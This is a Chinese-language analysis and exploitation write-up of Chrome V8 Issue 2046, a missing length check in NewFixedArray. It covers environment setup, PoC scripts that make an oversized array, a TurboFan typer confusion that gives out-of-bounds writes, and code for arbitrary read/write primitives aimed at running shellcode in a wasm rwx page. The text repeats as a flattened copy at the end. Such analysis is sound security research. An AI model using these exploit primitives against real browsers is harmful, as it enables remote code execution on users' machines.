Chrome Issue 2046: NewFixedArray 数组长度未验证漏洞分析与利用
字数 1716 2025-08-20 18:17:47

Chrome V8 NewFixedArray 数组长度未验证漏洞分析与利用

漏洞概述

该漏洞存在于V8引擎的NewFixedArrayNewFixedDoubleArray宏实现中,由于未对数组长度进行边界检查,导致可以创建超过最大允许长度的数组对象。漏洞编号为Chrome Issue 2046。

环境搭建

编译存在漏洞的V8源码

git reset --hard 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug

安装Turbolizer可视化工具

  1. 安装npm:
sudo apt-get install curl python-software-properties
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo apt-get install nodejs
sudo apt-get install npm
  1. 启动Turbolizer:
cd v8/v8/tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer 8000
  1. 生成Turbolizer文件:
./d8 --trace-turbo ./poc.js

基础知识

JavaScript相关方法

  1. splice()方法

    • 向/从数组中添加/删除项目,返回被删除的项目
    • 语法:arrayObject.splice(index,howmany,item1,...,itemX)
  2. Array.prototype.concat.apply

    • 将多维数组转化成一维数组
  3. Math.max()

    • 返回一组数中的最大值

V8引擎特性

  1. 指针压缩

    • 64位指针压缩为32位
    • 高32位存放在r13寄存器,低32位用4字节存储
    • SMI值用4字节存储,最后一位不用(指针最后一位为1)
  2. V8数组类型

    • PACKED_SMI_ELEMENTS:小整数(Smi)
    • PACKED_DOUBLE_ELEMENTS:双精度浮点数
    • PACKED_ELEMENTS:常规元素
    • 类型转换只能从特定到一般(不可逆)
  3. PACKED到HOLEY类型转换

    • 当给数组添加"洞"(hole)时,会从密集数组转为稀疏数组

漏洞分析

漏洞代码

漏洞位于CodeStubAssembler::AllocateFixedArray的两个宏实现:

macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
  if (length == 0) return kEmptyFixedArray;
  return new FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}

macro NewFixedDoubleArray<Iterator: type>(
    length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
  if (length == 0) return kEmptyFixedArray;
  return new FixedDoubleArray{
    map: kFixedDoubleArrayMap,
    length: Convert<Smi>(length)
    floats: ...it
  };
}

漏洞细节

  1. 未检查length边界:

    • FixedArray::kMaxLength = 0x7fffffd
    • FixedDoubleArray::kMaxLength = 0x3fffffe
  2. 漏洞调用链:

    ArrayPrototypeSplice -> FastArraySplice -> FastSplice -> Extract -> ExtractFixedArray -> NewFixedArray
    

PoC分析

PoC1

array = Array(0x80000).fill(1); // [1]
array.prop = 1; // [2]
args = Array(0x100 - 1).fill(array); // [3]
args.push(Array(0x80000 - 4).fill(2)); // [4]
giant_array = Array.prototype.concat.apply([], args); // [5]
giant_array.splice(giant_array.length, 0, 3, 3, 3, 3); // [6]
  1. [1] 创建0x80000大小的数组
  2. [3] 创建0xff大小,每个元素为array的对象(0xff * 0x80000 = 0x7f80000元素)
  3. [4] push进0x7fffc个元素的数组(总计0x7fffffc元素)
  4. [6] 添加4个元素,总计0x8000000元素(超过kMaxLength)

PoC2

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

使用HOLEY_DOUBLE_ELEMENTS类型(最大长度0x3fffffe),更快触发漏洞。

TurboFan优化问题

在Turbolizer的V8.TFTyper 137阶段,TurboFan错误地认为数组长度在(0, 67108862)范围内,而实际为67108863,导致后续计算与实际不符:

function trigger(array) {
  var x = array.length; // 实际: 67108863
  x -= 67108861; // 实际: 2
  x = Math.max(x, 0); // 实际: 2
  x *= 6; // 实际: 12
  x -= 5; // 实际: 7
  x = Math.max(x, 0); // 实际: 7
  // ...
}

TurboFan认为x的范围为(0,1),而实际为7,导致越界访问。

漏洞利用

利用步骤

  1. 创建越界数组

    • 利用漏洞创建超长数组
    • 在后面布置浮点型数组oob_array,越界修改其长度
  2. 搜索ArrayBuffer

    • 利用越界数组搜索ArrayBuffer的backing_store
    • 构造任意读写原语
  3. 搜索wasm function

    • 搜索wasm Instance,rwx区域位于wasm Instance +0x68处
  4. 执行shellcode

    • 将shellcode写入rwx区域并执行

关键代码

// 创建越界数组
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

// 触发漏洞
function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);
  corrupting_array = [0.1, 0.1];
  corrupted_array = [0.1];
  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

// 任意读原语
function dataview_read64(addr) {
  oob_array[backing_store_idx] = i2f(addr);
  return f2i(data_view.getFloat64(0, true));
}

// 任意写原语
function dataview_write(addr, payload) {
  oob_array[backing_store_idx] = i2f(addr);
  for(let i=0; i < payload.length; i++) {
    data_view.setUint8(i, payload[i]);
  }
}

注意事项

  1. 由于指针压缩,字段占4字节,而浮点型数组以8字节为单位读写
  2. 需要处理读写字段可能位于高4字节或低4字节的情况
  3. 搜索区域可能不可访问,导致崩溃,利用有一定概率性

参考链接

  1. https://www.elttam.com/blog/simple-bugs-with-complex-exploits/
  2. https://v8.dev/blog/elements-kinds
  3. https://bugs.chromium.org/p/project-zero/issues/detail?id=2046
  4. https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
Chrome V8 NewFixedArray 数组长度未验证漏洞分析与利用 漏洞概述 该漏洞存在于V8引擎的 NewFixedArray 和 NewFixedDoubleArray 宏实现中,由于未对数组长度进行边界检查,导致可以创建超过最大允许长度的数组对象。漏洞编号为Chrome Issue 2046。 环境搭建 编译存在漏洞的V8源码 安装Turbolizer可视化工具 安装npm: 启动Turbolizer: 生成Turbolizer文件: 基础知识 JavaScript相关方法 splice()方法 : 向/从数组中添加/删除项目,返回被删除的项目 语法: arrayObject.splice(index,howmany,item1,...,itemX) Array.prototype.concat.apply : 将多维数组转化成一维数组 Math.max() : 返回一组数中的最大值 V8引擎特性 指针压缩 : 64位指针压缩为32位 高32位存放在r13寄存器,低32位用4字节存储 SMI值用4字节存储,最后一位不用(指针最后一位为1) V8数组类型 : PACKED_SMI_ELEMENTS :小整数(Smi) PACKED_DOUBLE_ELEMENTS :双精度浮点数 PACKED_ELEMENTS :常规元素 类型转换只能从特定到一般(不可逆) PACKED到HOLEY类型转换 : 当给数组添加"洞"(hole)时,会从密集数组转为稀疏数组 漏洞分析 漏洞代码 漏洞位于 CodeStubAssembler::AllocateFixedArray 的两个宏实现: 漏洞细节 未检查 length 边界: FixedArray::kMaxLength = 0x7fffffd FixedDoubleArray::kMaxLength = 0x3fffffe 漏洞调用链: PoC分析 PoC1 [ 1 ] 创建0x80000大小的数组 [ 3] 创建0xff大小,每个元素为array的对象(0xff * 0x80000 = 0x7f80000元素) [ 4 ] push进0x7fffc个元素的数组(总计0x7fffffc元素) [ 6 ] 添加4个元素,总计0x8000000元素(超过kMaxLength) PoC2 使用 HOLEY_DOUBLE_ELEMENTS 类型(最大长度0x3fffffe),更快触发漏洞。 TurboFan优化问题 在Turbolizer的V8.TFTyper 137阶段,TurboFan错误地认为数组长度在(0, 67108862)范围内,而实际为67108863,导致后续计算与实际不符: TurboFan认为x的范围为(0,1),而实际为7,导致越界访问。 漏洞利用 利用步骤 创建越界数组 : 利用漏洞创建超长数组 在后面布置浮点型数组 oob_array ,越界修改其长度 搜索ArrayBuffer : 利用越界数组搜索ArrayBuffer的backing_ store 构造任意读写原语 搜索wasm function : 搜索wasm Instance,rwx区域位于wasm Instance +0x68处 执行shellcode : 将shellcode写入rwx区域并执行 关键代码 注意事项 由于指针压缩,字段占4字节,而浮点型数组以8字节为单位读写 需要处理读写字段可能位于高4字节或低4字节的情况 搜索区域可能不可访问,导致崩溃,利用有一定概率性 参考链接 https://www.elttam.com/blog/simple-bugs-with-complex-exploits/ https://v8.dev/blog/elements-kinds https://bugs.chromium.org/p/project-zero/issues/detail?id=2046 https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/